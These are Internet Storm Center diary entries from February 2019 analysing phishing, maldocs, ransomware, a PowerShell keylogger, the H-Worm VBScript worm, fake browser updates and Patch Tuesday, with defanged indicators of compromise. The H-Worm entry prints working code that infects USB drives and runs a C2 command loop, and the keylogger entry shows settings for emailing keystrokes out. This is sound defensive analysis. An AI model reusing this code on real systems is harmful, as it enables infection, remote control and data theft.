Internet Storm Center

Handler on Duty: Jesse La Grew
Threat Level: green


Published: 2019-02-28

Phishing impersonations

Phishing is a constant cat and mouse game. Most organizations are now doing SPF, DMARC and other technologies to prevent spoofed emails from making it into your user's inbox.  Attackers have now been shifting to using real accounts from providers.

The type of attack we are seeing recently tries to bypass these more traditional protections by useing Impersonation attacks. This is where the displayed name in the email client is the same as the person of interest along with a plausible email address.  

Let say your CEOs name is Tony Stark and his legitimate address is  The attacker would set a display name as Tony Stark and address has been used a lot in the past six months for these types of attacks. You can easily block any emails from the domain in your mail filters.

Attackers are also using Gmail, Yahoo and other major domains with the same technique (e.g. or  Unfortunately, in most cases you will not be able to block these domains. The way many email products are fighting this is by a feature most are calling impersonation detection. Setup a profile in the product for the display name of VIP’s and it tries to detect fake accounts.  My issue with these is that you are leaving it up to a “BlackBox” to determine if your VIP’s email is going to work.

If you have the option in your email solution to use Yara rules or nested if statements, this seems to be the best solution overall.  Once you have determined what VIP’s you want to place this on, you need to use their real personal address. After that, you do a nested if statement for blocking anything else.


If Display Name “ Tony Stark”

And  If addreess is

Or    (Pass)


Else  (Junk)

If you start running into many false positives due to a common name of a VIP, you can start adding to the whitelist and continue to build it out.  This can be tedious and having a small number on the list is key. I would suggest at least your C-Levels, General Counsel and Finance/Payroll.


What techniques have been successful for you?  


Tom Webb @twsecblog


Published: 2019-02-27

Maldoc Analysis by a Reader

Reader Vinnie submitted a malicious document, including his analysis of this document. Great job!

Here is his analysis (we're publishing some parts as pictures, to avoid triggering anti-virus when you view this diary entry):


Host performing SQL injection scanning also hosting Emotet Maldoc.

Junos Attack log <35.190.186[.]53/56354->X.X.X.X/80> HTTP-SQL-INJ

Host 35.190.186[.]53 GEO DATA (53.186.190[.], Google Provider, Virginia US)

VirusTotal: hxxp://35.190.186[.]53/De/SKTAPCYQTR6199495/Scan/Rechnungsanschrift

File name:      190220-Pay_receipt-747585655.doc
File size:      308.63 KB
SHA-256:        15ea29d0e483c01df72c126e1a0b599f94bdc29dfb38a77306633c45d1851325

Similar files hosted on sites:

String 'shell' & Base64 encoded command in VBA compressed macro found in stream 8. Shown with yara rule below.

python ~/Documents/ -y#s#'shell' ~/Downloads/190220-Pay_receipt-747585655.doc.vir

1:       114 '\x01CompObj'
2:      4096 '\x05DocumentSummaryInformation'
3:      4096 '\x05SummaryInformation'
4:      7514 '1Table'
5:    129889 'Data'
6:       420 'Macros/PROJECT'
7:        47 'Macros/PROJECTwm'
8: M  113116 'Macros/VBA/D_03_5'
YARA rule: string
9: m    1105 'Macros/VBA/X85417_'
10:     32735 'Macros/VBA/_VBA_PROJECT'
11:      1221 'Macros/VBA/__SRP_0'
12:       106 'Macros/VBA/__SRP_1'
13:       220 'Macros/VBA/__SRP_2'
14:        66 'Macros/VBA/__SRP_3'
15:       548 'Macros/VBA/dir'
16:      4096 'WordDocument'
All VBA source code:

Variables defined in Function from stream 8:

- -URL's-

Interesting Strings:
C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL
C:\Program Files\Microsoft Office\Root\Office16\MSWORD.OLB

Post Infection Traffic from EXE found at hxxp://51.15.113[.]220/2sT3beRO4:
URL hxxp://23.233.240[.]77:8443/
URL hxxp://201.122.94[.]84:8080/
URL hxxp://187.163.204[.]187:995/


Didier Stevens
Senior handler
Microsoft MVP


Published: 2019-02-26

Ad Blocking With Pi Hole

Network-wide ad blocking via your own Linux hardware

Pi-hole® is a DNS sinkhole that protects your devices from unwanted content, without installing any client-side software.

From the Pi-hole Overview:

Easy-to-install: versatile installer, takes less than ten minutes

Resolute: content is blocked in non-browser locations, such as ad-laden mobile apps and smart TVs

Responsive: speeds up browsing by caching DNS queries

Lightweight: runs smoothly with minimal hardware and software requirements

Robust: command line interface quality assured for interoperability

Insightful: responsive Web Interface dashboard to view and control Pi-hole

Versatile: optionally functions as DHCP server, ensuring all your devices are protected automatically

Scalable: capable of handling hundreds of millions of queries when installed on server-grade hardware

Modern: blocks ads over both IPv4 and IPv6

Free: open source software

Of Note
* Cited from

The Pi-hole setup offers 8 options for an upstream DNS Provider during the initial setup.

Utilize the Pi-hole command line interface with ease.

Pi-hole includes a caching and forwarding DNS server, now known as FTLDNS.

After applying the blocking lists, it forwards requests made by the clients to configured upstream DNS server(s).

Updating is as simple as running the following command: pihole -up

Pi-hole Installation

I installed Pi-hole on a Raspberry Pi 2 Model B running Raspbian Stretch (November 2018, 4.14 kernel).

Figure 1: Pi-hole on Raspberry Pi 2 Model B

There a one step automated installation method for those who want to get started quickly and conveniently, using the following command:

curl -sSL | bash

There are alternative installation methods if you’re not comfortable piping to bash.

Piloting Pi-hole

Once you’ve completed installation, browse to the IP addess you established during setup. After running Pi-hole for even a few hours, it will begin to serve you as designed, and well at that.

Figure 2: Pi-hole at work

Take note of the fact that 17.9% of traffic and 532 specific queries. Pi-hole’s Gravity script is key here: “Gravity is one of the most important scripts of Pi-hole. Its main purpose is to retrieve blocklists, and then consolidate them into one unique list for the built-in DNS server to use, but it also serves to complete the process of manual whitelisting, blocklisting and wildcard update. It is run automatically each week, but it can be invoked manually at any time.”

As seen in Figure 3, Pi-hole takes exception to a number of offending domains.

Figure 3: Pi-hole blocks is my iPhone on my local network. You can see that between Apple, Microsoft, and other domains, there’s more than a bit of content in their ad streams that is flagged as less than desirable via Pi-hole’s Block Lists.

Enjoy the use and benefits of Pi-hole, I’d really like to hear about your success stories, and how you’re running Pi-hole (what hardware platforms?).

Let me know via Twitter or email. Cheers…until next time.

Russ McRee | @holisticinfosec


Published: 2019-02-25

Sextortion Email Variant: With QR Code

Reader Robert submitted a sextortion email with a twist: it contains a QR code:

In case you're wondering: I covered the QR code with a cross. I don't want you to pay ransom by accident.

All the text in this email is a picture, except for the Bitcoin address. Hence this SPAM variant might be harder to detect by anti-SPAM engines.

The QR code decodes to:



Didier Stevens
Senior handler
Microsoft MVP


Published: 2019-02-24

Packet Editor and Builder by Colasoft

I was looking for a tool to modify the packets in a pcap file for testing purposes that would allow me to change and modify any fields in packets and recompile the checksum to be able to use them for testing and training. I wanted to be able to change and modify some of the content such as IP addresses and where necessary, modify the content of the payload to obfuscate sensitive information. This Packet Editor and Builder by Colasoft is advertise as a freeware tool and very useful to manipulate and send packets over a network interface.

The interface is easy to use and intuitive. It is divided into three sections: Decode Editor that present the packet headers, the Hex Editor that shows the packet in hexadecimal format and the Packet List that shows individual packets.

The Decode Editor section can manipulate each part of the packet header, simply select and change the information to what you need. As you modify the information in the header or the payload, the checksum is recalculated (box on top of graph) to ensure the packet is free of checksum errors.

In the Hex Editor section, you can manipulate the payload of the packet by removing, modifying or adding to the payload. This picture is the original packet with USER anonymous:

This second picture is after removing USER from the payload:

Last is the Packet List section. This section shows the list of the packets which also includes the protocol and a summary of what the payload contains (if available).

Also a nice feature that is built-in this tool, it allow for building your own packets from scratch or reuse a pcap file and sending them via one of the host adaptors.


Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2019-02-21

Simple Powershell Keyloggers are Back

Powershell is a very nice language in Windows environments. With only a few lines of code, we can implement nice features… for the good or the bad!

While hunting, I found a bunch of malicious Powershell scripts that implement a basic (but efficient) keylogger. The base script is always the same but contains connection details modified by script kiddies. The current script is based on an old one from 2015[1]. This time, it has been modified to add the following features:

  • You can specify for how long the script will capture keystrokes
  • At the end of the defined time period, the file with the recorded keystrokes is exfiltrated via email to the attacker.

Here are the parameters at the beginning of the script:

# Editar solo esta secci??n!
$TimeToRun = 2
$From = “"
$Pass = “xxxxxxxx"
$To = “
$Subject = "Keylogger Results"
$body = "Keylogger Results"
$SMTPServer = ""
$SMTPPort = "587"
$credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)

The script is very basic, not obfuscated and detected by only one AV on VT[2]! I don't think that such scripts are a major threat, they are mostly used by script kiddies (I already collected some credentials!) but it remains a nice way to spy on people.


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2019-02-20

More Russian language malspam pushing Shade (Troldesh) ransomware


Russian language spam pushing Shade ransomware (also known as Troldesh ransomware) has remained active since my previous ISC diary about it on 2018-11-29.  However, sometime in February 2019, this malicious spam (malspam) has altered its tactics slightly. Instead of a zip archive directly attached to the malspam, recent emails have attached PDF files with links to download the zip archive.  Otherwise, this infection activity remains relatively unchanged.


Malspam pushing Shade has a variety of subjects, spoofed sending addresses, and message text.  The common theme is some sort of order or invoice.  The attached PDF files have links to download an alleged invoice, which was saved as when I checked.

Shown above:  From malspam to PDF to downloaded zip archive. contained a JavaScript (.js) file designed to infect a vulnerable Windows host when double-clicked.  Infection traffic remained similar to previous examples of Shade ransomware, and my infected Windows host exhibited the expected behavior.

Shown above:  Downloaded zip archive and extracted .js file.

Shown above:  Traffic from the infection filtered in Wireshark.

Shown above:  Desktop of an infected Windows host.

Shown above:  Decryption instructions from the Tor page.

Indicators of compromise (IoCs)

The following are indicators associated with today's infection:

SHA256 hash: 6950efbd9d6d10fdd8f644a71b30e53a8d1dbd64976279d8a192a0c9459d06e1

  • File name: pic.zakaz.pdf
  • File size: 18,831 bytes
  • File description: PDF attachment from malspam pushing Shade/Troldesh ransomware

SHA256 hash: e76b93f6ab032e16f5f1d600cb061db49a10538b10a063561df95be94156ac0b

  • File name:
  • File size: 3,493 bytes
  • File location: hxxp://simplerlife[.]pl/wp-content/themes/hueman/assets/admin/css/
  • File description: Downloaded zip archive from link in PDF attachment

SHA256 hash: 17539e1a0c33fe2f98fa1b8fa282f9f3786ba15419e30ae6c4171ccff65338c9

  • File size: 6,932 bytes
  • File description: .js file extracted from

SHA256 hash: 33dde2eed8ccb2b74c9d0feaf19c341354e54cb5d2c9e475507ff3fe22240381

  • File size: 1,254,664 bytes
  • File location: hxxp://sidneyyin[.]com/templates/joomlage0084-aravnik/css/msg.jpg
  • File location: C:\Users\[username]\AppData\Local\Temp\rad8EEC7.tmp
  • File location: C:\ProgramData\Windows\csrss.exe
  • File description: Downloaded zip archive from link in PDF attachment

Traffic from an infected Windows host:

  • 62.212.69[.]227 port 80 - simplerlife[.]pl - GET /wp-content/themes/hueman/assets/admin/css/
  • 74.220.207[.]61 port 80 - sidneyyin[.]com - GET /templates/joomlage0084-aravnik/css/msg.jpg
  • Various IP addresses over various TCP ports - Tor traffic
  • port 80 - - GET /
  • port 80 - - GET /

Email address and URLs from the decryption instructions:

  • hxxp://cryptsen7fo43rr6[.]onion/
  • hxxp://cryptsen7fo43rr6[.]
  • hxxp://cryptsen7fo43rr6[.]

Final words

As I stated last time, Russian language malspam pushing Shade/Troldesh ransomware is nothing new.  Since I first posted a diary about it back in 2016, it's never disappeared for long.  Nor is this malspam limited to Russian language.  An example I documented in 2017 was from English malspam.  This diary is yet another reminder the criminals behind this malware remain active.

Brad Duncan
brad [at]


Published: 2019-02-19

Identifying Files: Failure Happens

I regularly post diary entries analyzing malware. And a couple of times, I posted diary entries of files that turned out to be not malicious.

In this diary entry, I analyse a file that I can't classify as malicious or benign: I just fail to identify its file type.

With, I take a look at the .msg file that was given to me:

Streams 1 through 7 contain the attachment content and metadata. Plugin plugin_msg provides more info:


The file extension is .g, and the MIME tag is application/octet-stream. This MIME tag means that the sending client did not identify the file type, apart from: it's a stream of bytes.

To identify files for Windows machines, one can use the file extension or take a look at the content. I'm not familiar with extension .g, thus I start with the content.

I'm not the wiser looking at the content (stream 3): is a tool that uses libmagic to try to identify files:

Identification "data" means that libmagic was not able to identify the file type based on the content. A file with data is not a text file. is a tool that calculates all kinds of byte statistics for its input. That's the next step I try to identify the attachment:

What I get from these numbers, is that all possible byte values (256 in total) are present in this file and that the entropy 7.96... is almost the maximum value of 8.0.

The bytes look randomly distributed, and there is no simple mathematical sequence:

This is either random data, or strong encryption without a recognizable header (for example, GPG encrypted files have a header that libmagic will recognize).

VirusTotal also fails to provide help in identifying the file.

Failing to identify the file based on its content, I search the web for file extension .g and discover that this is the extension used by a CAD program called BRL-CAD. I can't easily find sample files for this CAD program: I resort to installing this CAD program and creating a test.g file.

It turns out these files have a recognizable header:

So the file I'm analyzing is not a BRL-CAD drawing.

Most of the time, looking at the content of files is enough to identify their type. You just need to use one of the techniques I showed here, like using libagic. Here however, there's no recognizable data or structure found inside this file.

And the file extension doesn't match the content.

The body of the email is empty, and the subject is h0y2fmrmvw: not much help.

What I can try, is to see what happens if I open this file with BRL-CAD: does the program crash?

But with static techniques, I'm not able to identify what file this is. It just looks like random data or strong encryption.

It happens, sometimes you loose.

Please post a comment if you have an idea what this is.

Update: BRL-CAD does not recognize the file (and handles the exception):

Didier Stevens
Senior handler
Microsoft MVP


Published: 2019-02-18

Know What You Are Logging

I helped out someone who was seeing entries in his log file he could not make sense of.

He has an Arduino, running a custom program listening on a TCP port. His router is configured with port forwarding: the Arduino accepts TCP connections from the Internet. It expects HTTP queries, and will also log all non-HTTP requests.

It's in this log that single-byte entries started to appear: just byte 0x03 would be logged, nothing more.

My explanation is the following: on the Internet, you have RDP-scanners accessing random ports looking for open RDP servers. The Remote Desktop protocol relies on the TPKT protocol. The header of the TPKT protocol starts with a single-byte version number, that is equal to 3. Followed by another byte, a reserved field that is 0. Then there is a length field, followed by encapsulated protocol data.

Because the custom program, written in the Arduino language (derived from C), writes entries to the log with the print function, the TCP payload is being truncated at byte 0. For each RDP scan, only the TPKT version number would be logged (byte value 3), because byte value 0 is the string terminator.

This logger was truncating the TCP payload data: only data up to the first NULL byte (0x00) would be logged.

Having truncated logs in itself is not an issue. It could help prevent storage overflows, for example. But you have to be aware exactly what is being logged and how. Because if you don't, you might interpret mundane data as an exceptional case.

Didier Stevens
Senior handler
Microsoft MVP


Published: 2019-02-17

Video: Finding Property Values in Office Documents

As promised in yesterday's diary entry "Finding Property Values in Office Documents", I made a video illustrating 2 methods to extract a property from an Office document.


Didier Stevens
Senior handler
Microsoft MVP


Published: 2019-02-16

Finding Property Values in Office Documents

In diary entry "Maldoc Analysis of the Weekend", I use the strings method explained in diary entry "Quickie: String Analysis is Still Useful" to quickly locate the PowerShell command hidden in a malicious Word document.

A comment was posted for this diary entry, asking the question: how can one find a property value with my tools, instead of the strings command? I gave one example in diary entry "Word maldoc: yet another place to hide a command", and I'll give another example in this diary entry.

With, I get an overview of streams in the document: stream 8 contains macros (indicator M):

From the previous analysis, I know that a Shell statement is used to execute a PowerShell command. I grep for string "shell" to find this command in the VBA source code in stream 8:

The PowerShell command is hidden in an property AlternativeText, but where can this be found inside the Word document? Variable DwchQqabF points to an object with property AlternativeText.

I grep for this variable in the VBA source code:

The object is a shape with name "qg1batoc21p". This object, with its name, can be found in another stream (not in the VBA stream). I use option -y to create and use an ad-hoc YARA rule to search for this name.

Option -y takes an argument, usually it's the name of a file that contains YARA rules. will use the provided YARA rules to search through each stream, and report matching rules.

To avoid the overhead of creating a YARA rule for a single string-search, supports ah-hoc YARA rules. An ad-hoc YARA rule, is a simple YARA rule that is generated automatically by, with the argument provided via option -y. When this argument starts with #s#, will create an ad-hoc YARA rule for a string (s). This string is to be provided after #s#, like this: #s#qg1batoc21p. This will create a YARA rule searching for string "qg1batoc21p" in ASCII (ascii), UNICODE (wide) and regardless of case (nocase).

Here is the result:

Stream 4 and stream 8 contain string "qg1batoc21p". Stream 8 contains the VBA code, so it's to be expected that it contains the string. Hence I take a closer look at stream 4 (1Table), where I expect to find property AlternativeText value.

I use option --yarastrings to know at which position(s) the string "qg1batoc21p" was found:

It was found at position 0x16C7, and it is a UNICODE string (notice the 00 bytes).

I can now use option -C (cut) to cut-out (select) the part of the stream that interests me. I want the part that starts at 0x16C7, thus the cut-expression begins with 0x16C7. And to avoid data scrolling off the screen, I select 256 bytes: 0x100l means to select a part with length (l) 0x100 (256 decimal):

We can see the start of the PowerShell command in UNICODE. With a bit of trial and error, I figure out that I need to select 0x14C8 bytes to get the complete command:

Tomorrow, I will post a video showing this method and a second, slightly different method.


Didier Stevens
Senior handler
Microsoft MVP


Published: 2019-02-14

Old H-Worm Delivered Through GitHub

Another piece of malicious code spotted on GitHub this time. By the way, this is the perfect example to demonstrate that protecting users via a proxy with web-categorization is useless… Event sites from the Alexa Top-1M may deliver malicious content (Github current position is 51[1]). The URL has been found in a classic email phishing attempt. The content was recently uploaded (<24h) when I found it:


Let’s have a look at the archive content:

ISC $ shasum -a 256
ISC $ unzip -t
    testing: Mesures de sécurité.jar   OK
    testing: Habilitations Ebank.vbs   OK
No errors detected in compressed data of
ISC $ shasum -a 256 *
d4ffa2acdec66f15c2252f36311c059ab00cc942b7cb54c33b4257dbc680ed9b  Habilitations Ebank.vbs
7ab54cb93a4a76dd5578f0b0ddcaeb8420311ebb39f27b62e535a43aec02523a  Mesures de sécurité.jar

Let’s have a look at the VBScript code. It’s based on a big class:

Class Values
End Class
Set myClass = new Values

Most part of the code is obfuscated using a simple technique: A chunk of Base64 data is decoded by replacing a set of characters with the letter ‘A’:

Private Function peter_paul(sand, way_off)
  Dim stapler, hp_pc, pillow, ruben
  stapler = "!@"
  hp_pc = "A"
  pillow = "Q29uc3QgVHlw....."
  ruben = Replace(pillow, stapler, hp_pc)
  peter_paul = b642byt_arr(1, ruben, 10)
End Function

Easy to decode with Cyberchef:

The decoded data is a new script. The next step is to execute it::

Public Sub Start()
  Set yhm_pepe = CreateObject("ADODB.Stream")
  Set spike = CreateObject("Microsoft.XMLDOM")
  If john_conor(1, peter_paul(0, False)) = ojor Then
    ExecuteGlobal ojor
  End If
End Sub

The code is simply written to the ADODB.Stream then executed. Here is what the second stage does. It copies itself for persistence in %TEMP%\tGcuACWROu.vbs then install . An interesting behaviour: it scans for available removable drives (drive.type == 1)[2] and infect them:

for each drive in filesystemobj.drives
  if  drive.isready = true then
    if  drive.freespace  > 0 then
      if  drive.drivetype  = 1 then
        filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
        if  filesystemobj.fileexists (drive.path & "\" & installname)  then
          filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
        end if
        for each file in filesystemobj.getfolder( drive.path & "\" ).Files
          if not lnkfile then exit for
            if  instr (,".") then
              if  lcase (split(, ".") (ubound(split(, ".")))) <> "lnk" then
                file.attributes = 2+4
                if  ucase ( <> ucase (installname) then
                  filename = split(,".")
                  set lnkobj = shellobj.createshortcut (drive.path & "\"&filename (0)&".lnk")
                  lnkobj.windowstyle = 7
                  lnkobj.targetpath = "cmd.exe"
                  lnkobj.workingdirectory = ""
                  lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(," ",     chrw(34) & " " & chrw(34)) &"&exit"
                   filleicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." &     split(, ".")(ubound(split(, ".")))& "\") & "\defaulticon\")
                   if  instr (fileicon,",") = 0 then
                     lnkobj.iconlocation = file.path
                     lnkobj.iconlocation = fileicon
                   end if
                 end if
               end if
             end if

When the installation is successful, it starts to communicate with the C2 server:  hxxp://ghanaandco.sytes[.]net:3007.

POST /is-ready HTTP/1.1
Accept: */*
Accept-Language: fr-be
User-Agent: 647B5904<|>PLAYBOX1<|>Xavier<|>Microsoft Windows XP Professional<|>plus<|>nan-av<|>false - 15/02/2019
Accept-Encoding: gzip, deflate
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache

Here is a reply from the C2 server:

HTTP/1.1 200 OK
Connection: close
Content-Type: text/html
Content-Length: 12
Server: Indy/9.0.18


Here is the main loop waiting for commands:

while true
  response = ""
  response = post ("is-ready","")
  cmd = split (response,spliter)
  select case cmd (0)
    case "excecute"
      param = cmd (1)
      execute param
    case "update"
      param = cmd (1)
      set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
      oneonce.write param
      oneonce.close "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
    case "uninstall"
    case "send"
      download cmd (1),cmd (2)
    case "site-send"
      sitedownloader cmd (1),cmd (2)
    case "recv"
      param = cmd (1)
      upload (param)
    case  "enum-driver"
       post "is-enum-driver",enumdriver
     case  "enum-faf"
       param = cmd (1)
       post "is-enum-faf",enumfaf (param)
     case  "enum-process"
       post "is-enum-process",enumprocess
     case  "cmd-shell"
       param = cmd (1)
       post "is-cmd-shell",cmdshell (param)
     case  "delete"
        param = cmd (1)
        deletefaf (param)
      case  "exit-process"
        param = cmd (1)
        exitprocess (param)
      case  "sleep"
        param = cmd (1)
        sleep = eval (param)
    end select
  wscript.sleep sleep

If the delivery method changed, the malicious code is not new. This is a good old H-Worm as already found in 2013[3]. Old stuff but still used in the wild!


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2019-02-14

Suspicious PDF Connecting to a Remote SMB Share

Yesterday I stumbled upon a PDF file that was flagged as suspicious by a customer's anti-malware solution and placed in the quarantine. Later, the recipient contacted the team in charge of emails to access his document because he knew the sender and pretended that the file was legit.

The file looked indeed safe and the content was properly related to the customer's business. I did a quick analysis of the file in my sanbox and, once the file opened, Acrobat Reader attempted to connect to a remote SMB share. I extracted objects from the PDF file and there was indeed a reference to a SMB share. When you ask a computer to connect to such a service, you immediately think about NTLM hashes leak.

Here is the object extracted from the PDF:

obj 10 0
 Type: /Page
 Referencing: 9 0 R, 6 0 R, 11 0 R, 12 0 R, 13 0 R, 7 0 R, 2 0 R, 14 0 R, 1 0 R, 15 0 R, 16 0 R, 17 0 R, 18 0 R, 3 0 R, 19 0 R, 20 0 R

            /F '(\\\\\\\\virtualofficestorage[.]com\\\\docs_share)'
            /D [ 0 /Fit]
            /S /GoToE
    /Parent 9 0 R
    /Contents [6 0 R 11 0 R 12 0 R 13 0 R 7 0 R]
    /Type /Page
            /Xi1 2 0 R
            /BG0 14 0 R
            /Xi0 1 0 R
            /CL 15 0 R
        /ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
            /F_2 16 0 R
            /F_0 17 0 R
            /F_1 18 0 R
            /Xi2 3 0 R
    /MediaBox [0 -0.02000 598.80 844.08]
    /Annots [19 0 R 20 0 R]

The domain virtualofficestorage[.]com[1] resolves to %%ip:, located in Romania. Shodan reports indeed a SMB share:

Helas, it does not reply anymore (last seen on 2019-02-03). There is a website running on this domain, it serves the default Ubuntu Apache welcome page. 

I can't share the file not the hash but did you notice the same behavious with other PDF documents? Do you know more about this domain? (VT has only one reference to the same kind of document[2])
Please share!


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2019-02-13

Fake Updates campaign still active in 2019


Last week on 2019-02-06, @baberpervez2 tweeted about a compromised website used by the Fake Updates campaign (link to tweet).  The Fake Updates campaign uses compromised websites that generate traffic to a fake update page.  The type of fake update page depends on your web browser.  Victims would see a fake Flash update page when using Internet Explorer, a fake Chrome update page when using Google Chrome, or a fake Firefox update page when using Firefox.  Victims download JavaScript (.js) files from these pages disguised as browser updates.  The downloaded .js files will instead install malware on a vulnerable Windows host.

Patterns for infection traffic are relatively unchanged since this campaign was first reported on the Malwarebytes blog in April 2018.

I generated an infection from the Fake Updates campaign on Friday 2019-02-09 and again on Monday 2019-02-11.  Both times, the final payload was a Chthonic banking Trojan.  Today's diary reviews the infection I generated on Monday 2019-02-11.

Shown above:  Flow chart for infection traffic from Monday 2019-02-11.


The following ar screenshots on Fake Updates campaign traffic I generated from the inital compromised website at thetechhaus[.]com.

Shown above:  Fake Chrome update page seen when thetechhaus[.]com was viewed in the Chrome web browser.

Shown above:  You can ignore warnings, download, and run the malicious .js file on a vulnerable Windows host.

Shown above:  The .js file shows highly-obfuscated script, which has always been the case for files from this campaign.

Shown above:  Start of the infection chain traffic filtered in Wireshark.

Shown above: Redirect traffic to track.positiverefreshment[.]org that pointed to fake Chrome update page.

Shown above:  Traffic for fake Chrome update page on 3aak.gotguardsecurity[.]com.

Shown above: HTTPS traffic to that returned a malicious .js file.

Shown above:  Traffic after running the .js file disguised as a Chrome update.

Shown above:  Final payload (Chthonic banking Trojan) persistent on the infected Windows host.

Indicators of Compromise (IoCs)

The following are indicators associated with the infection on Monday 2019-02-11.

Initial compromised site:

  • thetechhaus[.]com

Redirect that led to fake Chrome update page:

  • 81.4.122[.]193 port 80 - track.positiverefreshment[.]org - GET /s_code.js?[3 requests with different strings of characters]

Traffic for fake Chrome update page:

  • 93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /topic/news.php?h=220&v=620228&z=de11cb81e3af84d1eb577864be7d7f2d
  • 93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /chromefiles/css.css
  • 93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /chromefiles/chrome.min.css
  • 93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /chromefiles/chrome_logo_2x.png
  • 93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /chromefiles/chrome-new.jpg
  • 93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /chromefiles/k3k702ZOKiLJc3WVjuplzOgdm0LZdjqr5-oayXSOefg.woff2
  • 93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /chromefiles/cJZKeOuBrn4kERxqtaUH3VtXRa8TVwTICgirnJhmVJw.woff2
  • 93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /chromefiles/DXI1ORHCpsQm3Vp6mXoaTegdm0LZdjqr5-oayXSOefg.woff2
  • 93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /chromefiles/MTP_ySUJH_bn48VBG8sNSugdm0LZdjqr5-oayXSOefg.woff2
  • 93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /chromefiles/chrome-32.png
  • 93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /topic/news.php?h=220&v=620228&z=de11cb81e3af84d1eb577864be7d7f2d&st=1
  • 93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /topic/news.php?h=220&v=620228&z=de11cb81e3af84d1eb577864be7d7f2d&st=2
  • 93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /topic/news.php?h=220&v=620228&z=de11cb81e3af84d1eb577864be7d7f2d&st=3
  • Note: each time I saw a fake update page, the IP address was the same, but the domain was always different.

Download of .js file disguised as Chrome update:

  • port 443 - - HTTPS traffic

Traffic generated by .js file:

  • 188.165.62[.]40 port 80 - 6145fab0.static.spillpalletonline[.]com - POST /pixel.gif
  • 188.165.62[.]40 port 80 - 6145fab0.static.spillpalletonline[.]com - POST /pixel.gif?ss&ss1img
  • Note: The above domains were also different for each infection.

Post-infection traffic caused by Chthonic banking Trojan:

  • [infected lab host restarted twice]
  • various IP addresses over TCP port 53 - DNS queries for afroamericanec[.]bit
  • 185.229.224[.]120 port 80 - afroamericanec[.]bit - POST /en/
  • 185.229.224[.]120 port 80 - afroamericanec[.]bit - POST /en/www/

Associated malware:

SHA256 hash: 9daa0dec909874316afe7f402e82d408b96b215a3501579849c792ec91cfe750

  • File size: 41,696 bytes
  • File name: Chrome_77.35.js
  • File description: malicious .js file returned from

SHA256 hash: 4a17789f8a03fb2ec3185322ab879d436470d931e1fb98d0a4b9e5b68cda95ab

  • File size: 406,792 bytes
  • File location: C:\Users\[username]\AppData\Local\Temp\Chrome_77.35.exe
  • File description: Second executable dropped to the infected Windows host (Chthonic)

SHA256 hash: 7356424e04f730c7440f76cd822ff8645693b9835ae6aec4d6840cb1becae45c

  • File size: 406,792 bytes
  • File location: C:\Users\[username]\AppData\Roaming\YCommonFiles\ (random names for directory and file name pair)
  • File description: Chthonic executable persistent on the infected Windows host.

Final words

Monday's infection was unusual, because everything except for the dropbox URL was regular HTTP traffic.  I more often find HTTPS traffic from the compromised site, redirect traffic, and fake update page.  Usually the only HTTP traffic is generated by the downloaded .js file and final malware payload.

Pcap and malware samples for today's diary can be found here.

Brad Duncan
brad [at]


Published: 2019-02-12

Microsoft February 2019 Patch Tuesday

This month, we got patches for 74 vulnerabilities in total. One of them has been exploited and two vulnerabilities have been made public before today. 

The known exploited vulnerability (CVE-2019-0676) may lead to information disclosure and affects Internet Explorer 10 on Windows Server 2012 and Internet Explorer 11 on Windows 7, 8.1 and 10 and Windows Server 2008, 2012, 2016 and 2019.  

From two previously known vulnerabilities, one (CVE-2019-0636) may also lead to information disclosure and the other, CVE-2019-0686, is a privilege escalation vulnerability on Microsoft Exchange 2010, 2013, 2016 and 2019. This vulnerability was well detailed by Bojan in this diary

Past month, critical vulnerabilities affected Microsoft DHCP Client. This time, a critical vulnerability was fixed on DHCP Server (2019-0626). If successfully exploited, it may allow an attacker to run arbitrary code on the DHCP server. The CVSS V3 for this vulnerability is 9.8 (out of 10).

Take a look at mine dashboard for a more detailed breakout: 

CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
.NET Framework and Visual Studio Remote Code Execution Vulnerability
%%cve:2019-0613%% No No Less Likely Less Likely Important    
.NET Framework and Visual Studio Spoofing Vulnerability
%%cve:2019-0657%% No No Less Likely Less Likely Important    
Azure IoT Java SDK Elevation of Privilege Vulnerability
%%cve:2019-0729%% No No - - Important    
Azure IoT Java SDK Information Disclosure Vulnerability
%%cve:2019-0741%% No No - - Important    
February 2019 Adobe Flash Security Update
ADV190003 No No - - Critical    
February 2019 Oracle Outside In Library Security Update
ADV190004 No No - -      
GDI+ Remote Code Execution Vulnerability
%%cve:2019-0662%% No No Less Likely Less Likely Critical 8.8 7.9
%%cve:2019-0618%% No No Less Likely Less Likely Critical 8.8 7.9
Guidance for "PrivExchange" Elevation of Privilege Vulnerability
ADV190007 Yes No More Likely More Likely      
Guidance to mitigate unconstrained delegation vulnerabilities
ADV190006 No No - -      
